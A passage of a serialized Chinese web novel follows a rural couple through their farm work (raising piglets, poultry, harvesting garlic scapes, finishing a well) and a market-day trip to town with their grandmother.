宁水镇附近人都喜欢吃猪肉,十几年来猪市都很繁盛,养猪的人一多,年底冬天杀猪的人就多。 小河村离山近,往镇子那边走都是平坦的土地,连小河村也处于河边平地之上,行走交通十分便宜,只要手里有点钱,就能买到鲜肉吃。 冬天买了猪肉回来,天冷,要是再下一场大雪,肉冻得梆硬,多数都不会坏,因此很少有烟熏挂腊一类的说法。 想起这个,顾兰时又说:“前几年有人给了我娘一吊挂腊肉,能放好几月,只是鲜肉吃惯了,家里对这口倒是没那么爱,你想不想吃?要是想吃,找人问问看怎么做的,咱们也试试。” 裴厌开口道:“我之前吃过,也吃不惯,晒些猪肉干就行了。” “那好。”顾兰时答应着,跨过脚下的树枝继续往前走,他转头看一眼裴厌,好奇道:“你之前吃过?” 裴厌点点头:“嗯,行军时火夫是南边来的,腊肉其实做的不错,只是吃不惯。” 行军打仗的事他很少提及,有时就算顾兰时询问,他都不会说太多。 那些记忆很深刻,但充斥着血腥味道和残酷,人命如草芥,所有认识的人活下来只有几个,他很少会主动去回忆。 顾兰时之前就发觉他不大喜欢说这些,所以没有追问,自发岔开了话,笑着说:“那咱们就不挂腊肉了,万一没做好,一吊肉不少呢,糟蹋了太可惜。” 裴厌笑了下,说:“还能再养三头,今年先紧着自己吃,卖不卖没什么,初冬时就杀一头,换花样吃。” 说着说着,他俩一边走路一边畅想。 一头大肥猪,能出那么多肉,只自家吃,光是想一想就有些激动,熬猪油炖骨头,红烧五花卤猪头,猪头肉就不必说,还能弄个凉拌猪耳丝。 顾兰时笑眯眯的,眼神有点飘,像是陷入了幻想之中,傻笑着说:“这样,就算天天吃,估计要好几个月才能吃完。” 他想了一下又说:“咱们只有两个人,要是能卖的话就卖一点,大猪肉不少呢。” “都行。”裴厌笑着应声。 越说越来劲,两人脚下都快了,出了林子就往山上走,到处寻找能流白色汁水的猪婆奶草。 * 细心喂食照看了好几天,七只猪仔都成活了,母猪奶水也好,喂得小猪仔肚皮圆鼓鼓。 顾兰时每天都要在后院看好几次,生怕母猪一个不留神,压到猪仔,好在他们这头母猪还算聪明,无论走路还是躺下时,都会避开猪仔。 猪仔除了吃奶就是睡觉,连最小的那只瞧着也结实,顾铁山和苗秋莲来看时,直夸他俩养得不错。 猪仔一下,顾兰时和裴厌心劲更足,每天除了打草,还紧赶着,和黄泥把余下两个猪圈垒了起来。 这一件大事落成以后,再不用操心,撂开手后又要忙菜地浇水和田里拔草的事,连方红花都要跟着操心。 顾兰时怕劳累到她,只让在前头待着,顶多帮忙剁剁鸡草喂喂鸡鸭。 “咕咕咕——” 方红花端着一盆剁好的鸡草走到鸡圈外,还没进去,母鸡飞快围过来,里头鸭舍里的鸭子也透过篱笆缝隙看向她。 她抓了几大把草撒在地上,母鸡围拢上来啄食,走到鸭圈这边,她同样给扔了几把,随后站在小鸡的隔档栅栏前,给里头撒了不少。 鸡仔月龄小,但四十几只都张着嘴要吃,光这会儿每天就要不少草料,再长大些,肯定吃的更多。 她看一眼成群的鸡仔,还行,长大了点,也没蔫头巴脑的。 顾兰时提了一桶水进来,给母鸡和鸭子都换了净水,见她在那边,笑着问道:“阿奶,站那里想什么呢?” “嗐,也没什么。”方红花单手抱着木盆,转过身把剩下的碎草又扔两把给鸭子,随后走到母鸡群里,把旧木盆翻倒过来,拍了拍盆地的草屑。 等顾兰时给鸡仔换了水后,她往圈外走,说道:“这不是看鸡仔那么多,过两三月成了大鸡,吃的就更多了,后院不是还有猪,过三两月就该吃草了,这你俩每天得打多少草才够。” 顾兰时提着空木桶出来,这些他和裴厌都想过,笑着说道:“前天他还跟我说,今年肯定比去年累点儿,不过这没什么,我俩毕竟年轻,过几天井打好以后,家里有狗看着就行,我俩就都能出去打草。” 方红花点点头,说的在理,年轻人,家里有这么多禽畜,吃点苦头,能挣到钱才是正理。 第125章 太阳还没出来,不少人家就有了动静,庄稼人总是起得很早。 母鸡挤在窝里还没出来,偶尔能听到较低的咕咕声,鸭子同样在鸭舍里睡觉,有两只把嘴藏在翅膀底下。 赶着清晨凉快,顾兰时和裴厌弯腰在蒜苗地里抽蒜菜,这不是什么难活,捏着冒出头的蒜菜往上轻拽,一整根抽出来就好了。 刚抽出来的蒜菜又新鲜又嫩,切肉条子炒着吃别有一番风味,直接切了凉拌微辣爽口,还能用盐和醋腌成小菜吃,可谓是当下最新鲜的菜蔬,卖价也不错,昨天是八文钱一斤,今天差不离应该也是这个价。 去年种的时候,他娘就给了不少蒜,说是既然菜地大,多种些为好,蒜苗能吃,蒜菜新鲜,最后还能收大蒜,他俩就再不愁蒜吃。 顾兰时抽了一把蒜菜放进篮子里,直起腰歇歇,笑着对一旁裴厌说道:“等新蒜下来,用酱醋汁子腌一腌,当天就能吃,连蒜皮都是嫩的,蒸点野菜馍馍就着吃,可香了。” “嗯,再过段时日,就能吃上了。”裴厌笑着,说完继续找冒出头的蒜菜。 一棵蒜苗只能抽一根蒜菜,等过几天这一茬都抽完,也就没有了,想吃就得趁这时候多吃点。 到后边或许别人家种的大蒜迟一点,还有卖蒜菜的,不过一斤七八文的价钱,多数农人都不愿去买,还是吃自家的不用花钱。 大黑在院门口抻一个长长的懒腰,站好后又张大嘴巴打哈欠,随后尾巴垂着,懒洋洋朝他俩这边走。 见它过来,顾兰时手上刚好抽了一根蒜菜,他掐了一截丢过去,大黑低头嗅一嗅,随后就将那截蒜菜吃了。 这东西鲜嫩,没有那么辣,他还是昨天才发现大黑竟然吃这个。 把手上这根蒜菜像毛笔一样的的尖头掰掉,顾兰时把剩下的都扔给大黑去吃,又弯腰抽别的,正忙碌,篱笆门被从外面推开,方红花进来了。 “阿奶。”顾兰时和裴厌都喊了一声。 “起这么早。”方红花见他俩在忙,也快步走到蒜苗地这边来帮忙,又问道:“今儿也去镇上卖?” 裴厌说道:“嗯,去呢,太多了,自家吃不完,价钱又好,跑一趟也不费事。” “阿奶,今儿想怎么吃?凉拌还是腌着?”顾兰时笑着问道,昨天他用肉炒了一大碗,连同井匠他们都吃了,方红花回去的时候,他也给带了一把,让拿去给他大伯娘。 方红花抽了一根出来,砸吧一下嘴,说道:“切了凉拌就好,吃着脆爽,连我也能咬动呢。” “好。”顾兰时答应道,凉拌最方便了,撒点盐和辣子面,再烧点热油淋上去,比只放点盐更香。 油盐虽然金贵,不过去年冬天裴厌抓到毒蛇卖了不少钱,手里最多的时候,有二十四两呢。 一个冬天过去,再加上年节,确实花了些,而其他花钱的大头,就是买树苗、打井、买鸡仔、做摇椅这些,其中打井最贵,足足要三两银子。 尽管如此,他俩手里起码还有十几两,如今也开始卖菜挣钱了,不怕没钱使,吃好点人才有力气。 天边红云绚烂,太阳出来了,顾兰时在蒜苗地里巡视一番,再找不到可以抽的蒜菜后,提着竹篮往外走,笑着说道:“今天比昨天多。” 他和裴厌都拿的大竹篮,两个篮子加起来差不多有十几斤,连方红花看见这么多蒜菜都很高兴。 灶底火已经熄灭了,顾兰时洗完手先进去揭锅盖,糙馒头已经热了,软乎乎的,鸡蛋也熟了。 三个人在院里正吃着,周井匠带着力工就进了门。 裴厌三两下吃完手里东西,给茶壶里续上滚水,壶里的茶叶是刚才新放的,不过他们自己倒了三碗。 井匠几人不用说,喝过热茶水就自去忙了,井快打好了,裴厌跟过去看了一会儿,问了问情况。 等再回院子,见顾兰时在洗蒜菜,方红花帮着拿了竹匾沥水,他说道:“估计再有三四天,辘轳徐木头那边都做好了。” “那就好。”顾兰时抬头笑了下,井一打好,刚好天也热了,后面提水浇菜就不用往河边跑,这钱花的是真值。 去年夏天为浇菜,他们两个人挑着扁担一趟趟来回跑,说不累人才是假的。 顾兰时又说道:“篮子里那些都是要卖的,该拿出来的我已经拿了。” 昨天只给他爹娘和大伯娘各自拿了一把,今儿留一点,给大哥二哥也尝尝鲜,再就是二伯娘和三伯娘那边。 这东西和其他菜不同,不会越炒越少,半把就能炒一盘子了。 至于别的堂亲叔伯,要是碰见了,有的话给一点,没有就没法儿了,毕竟蒜菜和丝瓜菜瓜这些不同,抽完一茬就没了,打井花了这么多钱,他俩也想多卖点。 “嗯。”裴厌答应着,就往后院去牵驴。趁早上赶到宁水镇,早点卖完也就回来了。 鸡群和鸭子一共六十几只,都要吃草吃料,还有后院的猪,最近除了猪婆奶草以外,还要给猪吃一点别的药草,都得上山去挖,家里活挺多的。 顾兰时一个人上山他不放心,只能等他回来再一起去挖药草。 裴厌赶着驴车走了,顾兰时回来后先端起烫好的麦麸往禽圈这边走。 太阳一出来,鸡鸭纷纷出了窝,见他端着旧木盆,一只比一只着急,不是咕咕叫就是嘎嘎叫,连长大些的鸡仔也知道他一来就有食吃。 倒完食后,顾兰时拎着空木盆站在最里面看鸡仔,有几只个头明显大一圈,一看就是公鸡。 当初一下子买了五十只鸡仔回来,就算让卖鸡的甄别过,还是有公鸡。 养几只公的也没什么,再大一点就和母鸡群分开,他们养母鸡是为下蛋,这么多只蛋母鸡,两三年之内不用坐窝育雏,不用公鸡来配。 要是公鸡之间掐架太厉害,留一只最好的打鸣用,其他养肥点就杀了吃,也打打牙祭。 见一群鸡仔吃得欢,顾兰时放了心,出去放下木盆又提着蛋篮子过来摸蛋。 他先奔鸭舍这边,鸭子下蛋多在夜里,弯腰伸手在窝里翻翻找找,一共捡到了五枚鸭蛋。 至于母鸡那边,一大早还没有下蛋的,只得先把鸭蛋放好。 见方红花坐在院里吃米糕,顾兰时从灶房出来笑着说:“阿奶,过几天再攒些鸭蛋,你教我腌咸蛋,陶罐我都洗好了。” 方红花说道:“这有什么难的,你在旁边看一遍,就会了。” “好。”顾兰时笑着答应,以前他娘腌咸鸭蛋的时候他看过,也帮过忙,只是头一次上手自己弄,总有些不放心,有老人在旁边指点,才更踏实。 堂屋外面的屋檐下放了一盆脏衣裳,他拿了棒槌和野澡珠放在盆里,说道:“阿奶,你在家,我去把衣裳洗了。” “好好,你去。”方红花答应着,她这一个多月都是在这边看家,虽然周井匠几个都是老实本分的,可家里要是没一个人在,到底不放心。 见大黑在菜地里小跑着撒欢,顾兰时喊上它一起出门,大黑在前面跑,跑一段就停下来,等他跟上后,又往前跑走了。 忙忙碌碌,每天都有活要干。 裴厌从镇上回来后,蒜菜都卖光了,价钱依旧是八文,共十三斤半,最后剩下几根,当饶头给别人添了,正好卖了一百零八文钱。 * 蒜菜陆续卖了五天,斤数有多有少,剩下的一点抽出来留给自家吃了,有个进项谁看着都高兴,手里也总算回了些本。 鸭蛋每天都有四个到六个,攒了不少,顾兰时熬了盐水,方红花指点着,两人把咸鸭蛋腌上了,至于腌的怎么样,只能等一个月后再看。 眼瞅着进四月后,天热起来了,山上林子里倒是凉快许多。 顾兰时拿了小锄头砍笋子,弄满一筐后他朝竹林里面张望了一会儿,裴厌去林子里头打竹鸡了,不知道有没有打到。 井口石料都砌好了,只等明天安上辘轳。想着明儿最后一天了,饭给匠人们吃好点,弄个笋子炖竹鸡。 想起附近有一条溪流,顾兰时看着沉甸甸的竹筐,视线在周围看一圈,并没有其他人,于是把竹筐留在这里,自己往小溪那边走。 溪边有一片长了不少水芹,他挑嫩的掐了不少,最后见够两天吃的,把手里的和地上放的水芹归拢到一块儿抱起来又往回走。 竹筐还在原地,他把水芹塞进去,等了一会儿,实在没忍住,双手搭在嘴边,朝里面喊道:“裴厌!” 怕自己喊太多,惊跑了竹鸡酒不好,喊了一声后,他停下竖起耳朵听动静。 “在——” 从深处隐隐约约传来一句回应,听清之后,顾兰时不再乱喊,挑了平坦干净的地方坐下歇息。 看见对面地上有攀爬的藤蔓,他想起家里的葡萄藤,已经顺着木架往上爬了,长起来还挺快。 葡萄架搭的大,今年好好管,说不定爬满整个架子后,明年就能结葡萄了。 没一会儿,听见脚步声,他往里边看去,正是裴厌。 裴厌一边走一边提起手里的竹鸡,笑着说:“运气好,打到两只,够明天炖一锅的。” 竹鸡没有家养的母鸡那么大,两只加上笋子炖一锅,好几个人吃绰绰有余。 竹筐塞满了,顾兰时拔了两根坚韧的长草,把竹鸡四只脚绑在一起,好拎着下山。 裴厌背起沉甸甸的竹筐,又从他手里接过竹鸡,一个人就把所有东西拿上了。 明天井就落成了,这一件大事过去,心里一口气也算落下了,裴厌挺高兴的,说:“两只胆子都小,没被弹弓打死也自己吓死了,回去就烧水拔毛。” “刚好,掏了肚里的东西给鸡仔吃。”顾兰时在旁边应声,近来除了猪以外,就数鸡鸭让他俩操心了,只有喂好了,到秋天才有许多鸡蛋。 “嗯。”裴厌答应着,又说:“傍晚去河边挖些地龙,明天吃过饭,匠人走之后,我去下网,捞点鱼虾剁一剁给它们吃。” “好。”顾兰时想起另一件事,说道:“阿奶在这边帮了两个月的忙,改天去镇上,给她买些糕点和果脯,她最爱吃了,酥油饼也能咬动,我也想吃了,不过要是带回来,没有现买的那么好吃。” 裴厌笑了笑,开口道:“这有什么难的,我赶驴车,把你和阿奶都带上,挑个有集会的日子,去镇上逛一回,想吃什么买什么,都随你。” 这两个月为打井的事,确实没怎么出过门,一听这话,顾兰时高兴极了,掰着手指跟他算集会下次是什么时候。 第126章 “咚——” 顾兰时摇着辘轳,比起直接把井桶丢进井里,辘轳摇下去的动静小多了。 将麻绳又放了两圈,随后他朝另一边摇辘轳,麻绳重新缠绕,打到水的井桶被吊了上来。 把水倒进井旁的木盆后,他坐在小板凳上洗衣裳。 有井就是方便,裴厌在地里干活,他自己在家,无论洗衣还是挑水,都不用锁了门再出去,省了不少腿脚。 大黑在井旁转悠了一会儿,就算有辘轳木杆挡着,顾兰时还是看了它几眼,生怕狗一个不小心掉进井里。 好在大黑没有他想的那么笨,闻闻嗅嗅之后,对水井兴趣不大,转身走了。 顾兰时这才放心,他低头搓衣裳,没看见大黑趁他不注意的时候,偷偷摸摸咬了一根春菜叶子,背对着他在那里啃。 井打好好几天了,方红花那天下午就让裴厌给她把竹榻搬回了祖宅,这几天估计在家里歇息,没有过来。 虽然在这边只是看看家当,但小老太太来回跑,一大早就要进门,也不容易,清早连个懒觉都睡不成。 太阳渐渐大了,顾兰时洗好衣裳,端起木盆回到院里晾晒,外头菜地没个院墙遮挡,还是院里好点儿,万一下雨,也能及时收回去。 收拾完家里该干的活后,他又背起竹筐打算去河边割草。 顺着石子路往前走,两边菜蔬枝叶随风摇动,分出来的一块块菜地都绿油油的,看得人心喜。 缠绕在竹竿上的春扁豆已经开花,十几二十天就能结豆荚子,春蒿已经能吃了,不说菜地里头,连较宽的几个田垄上也栽了点薄荷和韭菜。 顺着菜地和篱笆墙之间的小径,之前随手撒了点南瓜种子和冬瓜种子,如今瓜藤已经爬起来,再长一长,还能掐点瓜藤尖吃。 为摘菜、锄草浇水都方便,每块菜地都留了人能走的小路。 去年不说,今年从开春就种菜,他俩年轻,不免有点贪心,除了留下走路的小径,其他地方都想着法儿撒一把种子,栽点儿别的菜蔬,连那边山壁底下,都有冒出头的南瓜藤。 各种菜长起来后,他俩才发现种的稠了,前两天裴厌还在说,等明年就不种这么多,也让土地歇歇。 快走到篱笆门时,顾兰时看一眼旁边的果树苗,树木长得慢,不过叶子上来了,买的时候就挑了好的树苗,浇水上肥没耽误,都成活了。 大黑跟在后面,他锁门时狗也想出来,他挥手将大黑往家里赶,说道:“回去,回去看家。” 大黑尾巴不摇了,站在门里看着篱笆门被锁上,等外面顾兰时走远后,它才转身回去。 晌午不过在家吃一顿饭,略微歇一歇,两人又带上筐子出门打草,一直到傍晚,吃过饭后,才有闲心坐在院里吹吹风。 晚风和畅,太阳还没落山,西边云彩已经染上橘色。 明天要去赶集,顾兰时很高兴,喝两口茶水润润嘴巴,说道:“拔过一遍草,地里的活不着急了,明天早上多睡会儿,醒了随便垫点东西,到镇上再吃,上回那家馄饨不错,这回带阿奶过去吃一碗。” “好。”裴厌答应一声,他坐的是把椅子,朝后靠在椅背上神色轻松自在,干了一天活,听夫郎说想吃什么,心情很不错。 * 一大早,方红花起来就换了干净衣裳,说好今儿去镇上赶集,好久没出门,她心里也惦记,时不时就在门口张望一眼,看驴车来了没。 祖宅住着顾兰时大伯一家子,汉子都出门忙了,家里媳妇夫郎不是跟着出去,就是在家纺线顺带看孩子。 郑老太太提着一篮子野菜从门前路过,见她朝村后张望,停下脚步问道:“他婶子,瞧什么呢。” 方红花理理衣摆,笑道:“这不是兰哥儿和他姑爷说今儿是赶集的日子,我老了老了,也沾了他俩的福,跟着去镇上逛逛。” 一听这话,郑老太太心里有点酸,她也一把年纪了,却没方红花那个福气,没事就能出去逛。 “多好的事。”她嘴上附和了一句,毕竟和方红花平时还好,一起坐在村头能唠上几句。 “嗐,一把老骨头了,也就沾个光。”方红花嘴上这么说,实际都快笑成一朵花。 一手拎着板凳,另一手拿了针线小竹箕的孙老夫郎从家里出来,看见她俩在说话,招呼着:“去坐坐。” 他说的正是村头大树下,太阳出来后,那边有树荫遮挡,没有那么晒,树下还挺平坦,能坐不少人,是村里老太太老夫郎常去闲聊的地方。 “人家忙着呢。”郑老太太笑着酸了一句,又找补道:“兰哥儿两个要去镇上。” 方红花笑着瞪她一眼,说:“可不是,今儿要出门,不得和你们坐了。” 孙老夫郎一听,边走边说:“跟着享享福!今天正好是赶集的日子。” 正说着话,方红花往村后一看,裴厌牵着驴车过来了,连忙说道:“我孙子和孙婿来了。” 她说完转身就进了院子,灶房屋檐下挂了个空竹篮,她取下又匆匆出来,直接在门外等着,要是想在镇上买东西,放进竹篮就好提了。 见裴厌两人渐渐走近,她这才冲着院里喊道:“玉荷!你在家,我走了。” 周玉荷是顾兰时大堂嫂,正在堂屋纺线,听见动静连忙抱起摇篮里的小双儿往外走,出门时顾兰时和裴厌正好停在门口。 看见小侄儿,顾兰时过来逗了两下孩子,果然,比起小锁儿这样的小汉子,还是双儿更文静腼腆,胖乎乎的奶娃娃缩在他娘怀里,用一双黑又大的黑瞳仁看着他。 裴厌扶着方红花上板车坐好,顾兰时同周玉荷说了两句话,也上了板车坐着。 驴车一动,方红花朝着孙媳妇摆摆手:“行了,快回去,外头太阳大,别热着孩子。” 见他们往村口走了,周玉荷抱着孩子才回去。 村子外的路有点颠簸,方红花和顾兰时随着板车一晃一晃,尽管这样,她依旧很高兴。 一进官道,裴厌甩着鞭子,毛驴渐渐跑起来,两侧田地和树林朝后面退。 遇到有集会的日子,路上人比平时多一些,走路赶车的都有。 快到镇子时,驴车才慢下来,这会儿没有年节时人那么多,镇外没有摆摊的,不过看车的陈三儿还在。 裴厌脸上一道疤,个头又高,在人群中很出众,想忘记都难,陈三儿正在路边拉客招揽,见他赶着驴车,上前赔着笑询问要不要放车。 看一眼进镇子的人流,今天是来吃吃喝喝玩耍的,牵着驴车确实不方便,裴厌从驴车前面下来,让毛驴停住,点着头说:“嗯,那就放这儿。” 不过五文钱,空着手去逛的话,连裴厌也能好好转转,顾兰时没有阻拦,自己先从板车下来,又给方红花搭了把手。 放好驴车后,裴厌把半块木牌装好,顾兰时帮方红花提着竹篮,三个人都一身轻快,随着人流就进了镇。 出门前只吃了点米糕,看见上回的馄饨摊子后,顾兰时拉着方红花直奔那边,裴厌跟在他俩身后。 大馄饨一碗十文,贵是贵了点,但裴厌没有犹豫,要了三碗。 顾兰时笑眯眯和方红花坐在他对面闲聊说话,闻见馄饨香味忍不住咽了咽口水,朝摊主煮馄饨的大锅那边瞅了瞅。 见状,裴厌笑了下,没说什么。 看见别人结账,一碗小馄饨才六文钱,方红花咂了咂舌,说道:“怎么没要小的,吃起来不是一样吗。” 顾兰时笑着开口:“阿奶,大的好吃,肉馅大,吃起来比小的香,听我的,上回我俩吃过。” 既然这样,方红花就不再说什么,直起腰探头去看摊主往锅里下馄饨,手里抓了一把,她也没看清有几个,自己在心里嘀咕,还是等会儿端上来再数数。 顾兰时一心惦记着吃喝,这回来的人少,只有他们三个,想吃什么都行。 大馄饨肉多,煮熟得有一会儿,他又转头去看别的吃食摊子,有卖肉包子的,肉香味顺着风飘过来,还挺香,心想改天买些肉,自己回家蒸肉包子,肉馅更足呢。 馄饨端上来以后,方红花先数了数,低声问顾兰时:“兰哥儿,才八个?” 顾兰时刚往嘴里送了一个馄饨,想说话又被烫到,嘴里含糊嗯嗯两下,裴厌在对面笑道:“阿奶,对着呢,就是这个数,快趁热尝一个,汤也不错。” 闻言,方红花不再多说,八个就八个,只要数儿对了就好,尝了一个后味道果然不错,连汤吃喝完后,见别人要续汤,她也跟着要了一碗。 裴厌结过账,顾兰时心满意足跟着站起身,方红花用手帕擦擦嘴,别说,这汤还挺好喝。 三个人都有点吃高兴了,顺着街道往前逛。 两边店铺和摊位上卖什么的都有,还碰见头发里插草标卖身的,是个年纪不大的少年人,又黑又瘦,蓬头垢面,身上衣裳也破烂,旁边蹲着的大人像是他爹,愁眉苦脸看着人群,偶尔重重叹息一声。 “可怜见的。”方红花叹一声,没有再多看,往前走了,乡下人自己能吃饱就不错了,哪有买人的闲钱。 如今世道还算好点,往前二三十年,世道乱,天公也不作美,闹了几回饥荒,穷人卖儿卖女只为口饭吃的比如今更常见。 裴厌不提,顾兰时没有忍心多看,赶着方红花的脚步往前。 掠过这件小事,看见有卖凉粉的,晶莹剔透,用酸醋汁子和了辣子面一拌,撒点焯熟的野韭菜碎,一碗瞧着就馋人。 天气已经热了,来一碗拌凉粉清凉又爽口,说实在的,八个馄饨加一碗汤,连顾兰时都没吃饱。 乡下夫郎平时干的都是体力活,他从小身体不错,饭量要比镇上只做饭洗衣的夫郎大一些。 不用说,裴厌看他一眼就知道想吃凉粉,笑着说道:“想吃就过去吃。” “好。”顾兰时笑眯眯的,喊住在前面乱逛的方红花,。 刚吃过馄饨,还没走几步,三个人又坐在了凉粉摊上。 方红花嘴上说饱了饱了,不过在凉粉端上来后,还是拿勺子吃起来。 这东西可比馄饨更软和,滑滑凉凉的,几乎都不用咬,在嘴里抿一下就碎了。 这家凉粉挺好吃,顾兰时和裴厌尝一口后都顾不上说话。 别看放了辣子面,实际并不辣,只是为红红的好看些,酸醋味正好,开胃又爽口,吃完后,两人不约而同都端起碗把剩下的醋汁给喝了。 第127章 天一热,街上卖扇子的多起来,货郎挑的担子上大蒲扇小纨扇插了不少,也有妇人夫郎提着一篮扇子结伴叫卖的。 街上衣帽鞋靴应有尽有,棉布丝绢一匹匹摞在桌子上。 乡下人多穿自己做的布鞋和草鞋,很少有穿靴的,顾兰时目光落在一双双黑靴上,能摆出来卖的,做工确实不错。 “哎呦,这么多花,可真好看。”方红花别看上了年纪,逛集会那叫一个有劲,每次都走在他俩前面,正站在前头一个卖花的摊前咂嘴惊叹。 顾兰时和裴厌视线从其他摊子上移过去,快步走来,同样在摊前站定。 摊主是个有点年纪的汉子,蹲在旁边摆弄一盆花,见摊前又来几个人,招呼道:“要有看上的,价钱都好商量。” 花是用陶盆养的,大花开得艳丽富贵,小花紧促挨在一起,虽然花朵小,但胜在多,开满一簇也十分漂亮。 不止有花,还有别的草木,花花绿绿的,看着就让人高兴。 陆陆续续有人在摊前凑热闹,人一多,顾兰时往裴厌身侧挨了挨,两人如此亲密,一看就知道是一家人。 方红花背着手,只觉眼花缭乱,一盆比一盆好看,她每一盆都瞅几眼,花儿草儿这些东西,别看平时老在野地里见到,人家养的就是好,又漂亮又鲜艳。 顾兰时没有催促她,出来逛就是这样,从乡下过来一趟不容易,可不得好好转着看一圈。 爱花之人不少,最漂亮的两盆大花被人买走,摊主收了钱乐呵呵的,买到花的人怀里抱着两盆花也喜滋滋的,走着走着还低头闻两下花香,那叫一个陶醉。 发现有陌生汉子想往顾兰时身边挤,裴厌冷了脸,那人还没凑近,他没有立即发作,只是盯着对方。 贼眉鼠眼的汉子一缩脑袋,心知不好惹,连连后退几步急忙离开了。 要说人多免不了挤在一起,可一般汉子看见夫郎妇人,都会回避退让,即便乡下人都懂这个理,刚才那人眼睛滴溜溜转着,一看就不是什么好东西。 “怎么了?”顾兰时发觉异样,顺着裴厌目光看过去,但旁边好几个人伸长脑袋在看花,他没有看见别的。 那汉子已经混进人群之中,裴厌收回目光,说道:“没什么,看见个獐头鼠目的无赖,看这边人多,不知道想偷钱还是怎么,已经走了。” 他没有压声音,旁边几个人一听有偷钱的贼,不是摸了摸腰间荷包就是按了按揣在怀里的钱袋,没有遗失都松了口气。 “走吧走吧,这人也太多了。”有妇人招呼同伴离开这里,人多的地方不好凑热闹,贼的手都长,挤在人堆里,万一丢了荷包回家可不好交代。 在镇上,有点小钱的人不少,花摊生意不错,没一会儿就卖出好几盆,方红花有点羡慕,不过要说买,她是绝不会买的,在他们乡下,山上和野地里,什么花没有,从开春到入秋,三季都有花看呢。 听见他俩的话后,担心钱被偷,方红花不再看了,继续往前头走,左边看看右边看看,照旧逛起来。 今天的集会比不上年节前的,顾兰时嘴上没说,但一路都在找那个炸肉丸的摊子,逛了一大圈都没找到,只得放弃。 早上出门就比平时晚,一圈走下来,几乎每个摆摊有铺子的街道都去了,太阳渐渐到了正头顶,热的方红花直擦汗。 买了两包糕点和四包蜜饯干果,顾兰时用竹篮提着,路过肉铺时见猪肉新鲜,于是买了两吊,一吊给阿奶,一吊他们自己回去吃。 路边还有卖活鱼的,用大木盆撑着,有的已经翻了肚皮,他看一眼,鱼还挺大的,不过在河里就能捉到,没必要花钱买。 该买的东西买好之后,裴厌见前头刚好有卖阳春面的,于是问道:“阿奶,饿不饿?” 说完他又看一眼顾兰时,询问的意思很明显。 方红花在心里稍微一算,这都花了多少钱了,摆着手说道:“不吃了不吃了,肚子能有多大?饱着呢。” 刚来的时候吃了两碗东西,顾兰时有点犹豫,说饿也不是很饿,但要说吃的话,还是能吃进去的,毕竟走了一大圈。 裴厌想了一下,说:“逛这么久,再赶路回去,到家也累了,再费事做饭也费力气,不如吃一碗,现成的,回去还能歇一阵。” “也好。”顾兰时觉得很有道理,于是就往那边走。 他俩既然决定了,方红花没多言语,只管跟着去。 坐下后裴厌张口要三碗面,又在镇上吃了一顿。 待吃饱喝足后,略歇一歇,三人就往镇外走,驴车还在那里,陈三儿心挺细,觉得天热还用旧木桶提了水给毛驴喝。 坐上驴车后,方红花那叫一个高兴,活一辈子了,还是头一次来集会上什么都不做,只管吃吃喝喝,还买一堆吃食回去,当真是沾了他们兰哥儿和姑爷的福,叫她一把年纪还能这样逛一回。 一路跑回来,到村外的路上毛驴慢下来,还没进村,方红花坐在板车上迫不及待往村头大树那边看。 这会儿正是吃晌午饭的时辰,一些老人吃完饭还要睡会儿,要么就是嫌外头太阳大,晒得眼睛睁不开,大树底下没有人。 她收回目光,神色颇有些遗憾,今天是没法儿立即跟人显摆了,路上想的几句话也没了用武之地,瞧瞧这点心,这肉,这蜜饯,花了不少钱呢。 裴厌和顾兰时不知她心中所想,将驴车停在祖宅门口,扶着她下车后,又把竹篮帮着拿下来,篮子里是一包点心两包蜜饯干果和一吊肉,满满当当的。 他俩没有多留,跟出来的大伯说了两句话,又赶着驴车走了。 大黑早就蹲在篱笆门后等着,顾兰时开了门进来,它摇着尾巴呜呜叫。 路过春菜地的时候,看见地里有几片没吃完的叶子,顾兰时笑着低头看它一眼,走的时候给喂了,还给食盆里留了两个糙馒头,不过春菜不怎么值钱,啃了就啃了,没糟蹋太多就行。 * 河边,顾兰时蹲在湿泥前用铲子挖地龙,草鞋上都是泥,他挽着袖子和小腿裤管,胳膊和腿上也都沾了不少泥点子。 鸡仔想要长得好,母鸡母鸭下蛋要好,都离不开地龙和虫子,光吃草吃料不行。 裴厌在河里下网,他裤管挽得高,渔网压好后才蹚水从河对岸过来。 河水还比较凉,他抽下脖子搭的干净布巾,站在一块干净石头上把腿上的水擦干净,这才穿上草鞋过来,他拿起靠在树上的铁锨,在附近找了一块湿泥地去挖。 今天出来带了一个鱼篓和一个竹篮,顾兰时抬头一看,见他用铁锨翻泥地,没一会儿就连泥铲了一锨地龙,连忙提着鱼篓过去。 泥地一踩就有点陷进去,草鞋底沾了不少,两人都没在意。 “泥太多了。”顾兰时示意他把这一锨地龙丢在地上,自己手里拿了树枝做的长筷子把大的泥块拨开,随后夹起扭曲摆动的红色地龙往鱼篓里放。 以前一团团地龙纠缠在一起,顾兰时还觉得头皮发麻,今年养了四十几只鸡仔,一下子不怕了,这可都是让鸡仔长肥长大的好东西,越多才越好呢。 裴厌用铁锨挖了不少地龙出来,这些东西惯会往湿润的泥地里钻,他把铁锨放到一旁,折了一根树枝也蹲下往鱼篓里夹,省得跑了。 “等会儿回去,热几个肉包子,再煮点米酒,菜还想吃什么?”顾兰时一边干活一边问道。 昨天从镇上回来后,下午他就蒸了一屉肉包子,肉馅多肉汁也足,吃起来那叫一个香。 裴厌往旁边甩甩树枝上的泥,闻言想了一下,说:“炒个蒿菜就行。” 顾兰时开口道:“那好,等会儿拔一根蒜苗,看看底下新蒜长得怎么样了,顺便拍点蒜碎炒蒿菜。” 肉包子馅大,弄点米酒,再清炒一碗蒿菜,吃起来正正好,不腻还荤素都有。 鱼篓满了大半后,两人才站起来歇一会儿,里头免不了有湿泥,拎起来沉甸甸的。 见还没到晌午,顾兰时往河边走,蹲在石头上洗手洗胳膊,又把腿脚浸在水里洗干净。 裴厌在他旁边同样如此,洗完翻了翻河里的石头,见有田螺趴在底下,伸手捏了上来,丢进竹篮里。 还不到吃螺的时节,不肥就不说了,螺仔有点多,他们这儿常常都是秋天吃,那会儿的螺肉较肥。 顾兰时洗完坐在石头上歇一下,太阳照射下来,粼粼水波晃荡,他看了一会儿才翻找起河边的石头。 水里的螺喂鸭子不用太费事,砸开也能丢给鸡,吃了对它们都好。 翻着翻着,他还在水底找到一个河蚌,跟他手掌宽差不多,还挺大的,同样扔进了竹篮里。 小时候他爹娘摸过一些河蚌,但河蚌水腥味道重,煮熟了肉也老,他们都不怎么爱吃。 一到夏天,村里其他人家有爱摸河蚌的,好歹肉比田螺石螺这些东西大。 摸了一些螺后,觉得腿脚有点凉,顾兰时走上岸边笑道:“够今天的了,回去做饭吃,也饿了。” 